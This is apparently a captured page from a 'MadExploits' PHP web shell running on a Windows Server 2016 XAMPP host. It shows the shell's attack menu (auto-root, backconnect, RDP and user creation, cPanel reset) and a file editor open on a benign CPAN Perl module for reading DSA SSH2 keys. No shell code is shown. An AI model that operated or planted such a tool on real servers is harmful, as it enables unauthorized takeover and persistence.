Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
perl /
vendor /
lib /
Crypt /
DSA /
GMP /
Key /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-rw-rw-
PEM.pm
4.86
KB
-rw-rw-rw-
SSH2.pm
4.06
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : SSH2.pm
package Crypt::DSA::GMP::Key::SSH2; use strict; use warnings; BEGIN { $Crypt::DSA::GMP::Key::SSH2::AUTHORITY = 'cpan:DANAJ'; $Crypt::DSA::GMP::Key::SSH2::VERSION = '0.01'; } use base qw( Crypt::DSA::GMP::Key ); use MIME::Base64 qw( decode_base64 ); use Crypt::DSA::GMP::Key; sub deserialize { my $key = shift; my %param = @_; chomp($param{Content}); my $base64; if ($param{Content} =~ m:ssh-dss (.+)\s+\S+\s*$:s) { $base64 = $1; } elsif ($param{Content} =~ /---- BEGIN/) { my($head, $object, $content, $tail) = $param{Content} =~ m:(---- BEGIN ([^\n\-]+) ----)\n(.+)(---- END .*? ----)$:s; my @lines = split /\n/, $content; my $escaped = 0; my @real; for my $l (@lines) { if (substr($l, -1) eq '\\') { $escaped++; next; } next if index($l, ':') != -1; if ($escaped) { $escaped--; next; } push @real, $l; } $base64 = join "\n", @real; } return unless defined $base64; my $content = decode_base64($base64); my $b = BufferWithInt->new_with_init($content); if ($b->get_int32 == 7 && $b->get_bytes(7) eq 'ssh-dss') { # This is the public key format created by OpenSSH $key->p( $b->get_mp_ssh2b ); $key->q( $b->get_mp_ssh2b ); $key->g( $b->get_mp_ssh2b ); $key->pub_key( $b->get_mp_ssh2b ); $key->priv_key(undef); return $key; } $b->reset_offset; # This all follows ssh-keygen.c: do_convert_private_ssh2_from_blob my $magic = $b->get_int32; return unless $magic == 0x3f6ff9eb; # Private Key MAGIC my($ignore); $ignore = $b->get_int32; my $type = $b->get_str; my $cipher = $b->get_str; $ignore = $b->get_int32 for 1..3; return unless $cipher eq 'none'; $key->p( $b->get_mp_ssh2 ); $key->g( $b->get_mp_ssh2 ); $key->q( $b->get_mp_ssh2 ); $key->pub_key( $b->get_mp_ssh2 ); $key->priv_key( $b->get_mp_ssh2 ); #return unless $b->length == $b->offset; $key; } sub serialize { my $key = shift; my %param = @_; die "serialize is unimplemented"; } package BufferWithInt; use strict; use Data::Buffer; use Crypt::DSA::GMP::Util qw( bin2mp ); use base qw( Data::Buffer ); sub get_mp_ssh2 { my $buf = shift; my $bits = $buf->get_int32; my $off = $buf->{offset}; my $bytes = int(($bits+7) / 8); my $int = bin2mp( $buf->bytes($off, $bytes) ); $buf->{offset} += $bytes; $int; } sub get_mp_ssh2b { my $buf = shift; my $bytes = $buf->get_int32; my $off = $buf->{offset}; my $int = bin2mp( $buf->bytes($off, $bytes) ); $buf->{offset} += $bytes; $int; } 1; __END__ =head1 NAME Crypt::DSA::GMP::Key::SSH2 - Read/write DSA SSH2 files =head1 SYNOPSIS use Crypt::DSA::GMP::Key; my $key = Crypt::DSA::GMP::Key->new( Type => 'SSH2', ...); $key->write( Type => 'SSH2', ...); =head1 DESCRIPTION L<Crypt::DSA::GMP::Key::SSH2> provides an interface for reading and writing DSA SSH2 files, using L<Data::Buffer>, which provides functionality for SSH-compatible binary in/out buffers. Currently encrypted key files are not supported. You shouldn't use this module directly. As the SYNOPSIS above suggests, this module should be considered a plugin for L<Crypt::DSA::GMP::Key>, and all access to SSH2 files (reading DSA keys from disk, etc.) should be done through that module. Read the L<Crypt::DSA::GMP::Key> documentation for more details. =head1 SUBCLASS METHODS =head2 serialize Returns the appropriate serialization blob of the key. =head2 deserialize Given an argument hash containing I<Content> and I<Password>, this unpacks the serialized key into the self object. =head1 TODO This doesn't handle data produced by OpenSSH. To see the data from a DSA key in their format: cat file.dsa | grep -v -- ----- | tr -d '\n' | base64 -d | \ openssl asn1parse -inform DER So we will need Convert::ASN1 to handle this. =head1 AUTHOR & COPYRIGHTS See L<Crypt::DSA::GMP> for author, copyright, and license information. =cut
Close